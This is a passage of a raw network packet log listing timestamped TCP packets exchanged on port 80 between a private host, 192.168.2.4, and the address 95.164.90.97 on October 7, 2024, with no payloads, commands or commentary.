Oct 7, 2024 18:43:29.325166941 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.325170994 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.325182915 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.325185061 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.325193882 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.325212002 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.325222969 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.325465918 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.325479984 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.325495005 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.325500965 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.325510979 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.325514078 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.325529099 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.325546980 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.325550079 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.325562000 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.325582027 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.325587034 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.325592041 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.325608969 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.325620890 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.325623989 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.325642109 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.325651884 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.325654984 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.325669050 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.325683117 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.325692892 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.325692892 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.325696945 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.325710058 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.325711966 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.325726032 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.325732946 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.325740099 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.325751066 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.325753927 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.325762033 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.325773001 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.325781107 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.325790882 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.325803995 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.325810909 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.325817108 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.325836897 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.325840950 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.325846910 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.325862885 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.325876951 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.325891972 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.325895071 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.325906038 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.325916052 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.325916052 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.325931072 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.325933933 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.325946093 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.325952053 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.325963020 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.325978994 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.325982094 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.325997114 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.326010942 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.326018095 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.326025009 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.326040030 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.326040030 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.326050043 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.326054096 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.326066971 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.326069117 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.326077938 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.326082945 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.326090097 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.326105118 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.326107979 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.326117992 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.326119900 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.326136112 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.326150894 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.326164961 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.326173067 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.326179028 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.326184034 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.326193094 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.326201916 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.326209068 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.326215029 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.326226950 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.326231956 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.326241970 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.326256037 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.326257944 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.326268911 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.326289892 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.326297045 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.326299906 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.326318979 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.326330900 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.326334000 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.326349020 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.326351881 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.326360941 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.326366901 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.326385021 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.326395035 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.326400042 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.326415062 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.326430082 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.326433897 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.326455116 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.326457024 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.326472998 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.326479912 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.326487064 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.326498985 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.326509953 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.326520920 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.441937923 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.441982985 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.441998005 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.442006111 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.442020893 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.442028046 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.442035913 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.442044020 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.442050934 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.442058086 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.442065954 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.442075014 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.442080975 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.442090988 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.442094088 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.442106962 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.442109108 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.442121029 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.442122936 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.442136049 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.442137003 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.442146063 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.442151070 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.442164898 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.442164898 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.442176104 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.442190886 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.442204952 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.442907095 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.442950964 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.443018913 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.443036079 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.443063974 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.443063974 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.443087101 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.443092108 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.443104982 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.443118095 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.443120003 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.443126917 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.443135023 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.443142891 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.443166018 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.443192959 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.443207979 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.443222046 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.443228960 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.443236113 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.443248987 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.443249941 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.443264008 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.443269014 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.443278074 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.443284988 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.443293095 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.443304062 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.443306923 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.443316936 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.443321943 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.443325043 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.443336010 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.443344116 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.443351030 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.443362951 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.443366051 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.443372011 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.443398952 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.443407059 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.443650961 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.443671942 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.443687916 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.443687916 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.443701982 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.443710089 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.443717003 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.443727016 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.443737984 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.443751097 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.443753004 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.443759918 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.443774939 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.443783998 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.443798065 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.443799019 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.443825960 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.443825960 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.443830967 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.443845034 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.443864107 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.443870068 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.443886995 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.443901062 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.443912029 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.443923950 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.443936110 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.443939924 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.443958998 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.443968058 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.443973064 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.443975925 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.443995953 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.443999052 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.444020033 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.444025040 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.444035053 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.444045067 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.444052935 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.444067955 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.444077969 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.444089890 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.444104910 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.444109917 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.444147110 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.444160938 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.444176912 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.444181919 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.444181919 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.444190979 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.444200993 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.444200993 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.444205046 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.444211960 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.444222927 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.444226980 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.444230080 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.444233894 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.444242954 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.444252014 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.444264889 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.444286108 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.444298029 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.444300890 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.444315910 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.444323063 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.444330931 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.444343090 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.444344997 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.444361925 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.444375992 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.444382906 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.444382906 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.444382906 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.444390059 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.444401979 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.444403887 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.444410086 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.444427013 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.444428921 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.444430113 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.444433928 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.444442034 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.444442034 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.444457054 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.444464922 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.444470882 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.444483995 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.444485903 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.444508076 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.444526911 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.444540024 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.444554090 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.444569111 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.444577932 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.444582939 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.444586039 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.444597960 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.444607019 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.444617987 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.444653988 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.444669008 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.444701910 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.444765091 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.444778919 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.444793940 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.444799900 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.444808006 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.444816113 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.444823027 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.444823980 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.444837093 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.444840908 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.444852114 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.444855928 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.444864988 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.444889069 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.444891930 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.444905996 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.444919109 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.444927931 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.444933891 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.444945097 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.444960117 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.444977045 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.445049047 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.445063114 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.445077896 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.445086956 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.445091963 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.445095062 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.445106030 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.445110083 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.445121050 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.445127010 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.445136070 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.445149899 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.445149899 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.445164919 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.445166111 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.445177078 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.445183039 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.445199013 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.445207119 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.445221901 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.445244074 CEST	49742	80	192.168.2.4	95.164.90.97
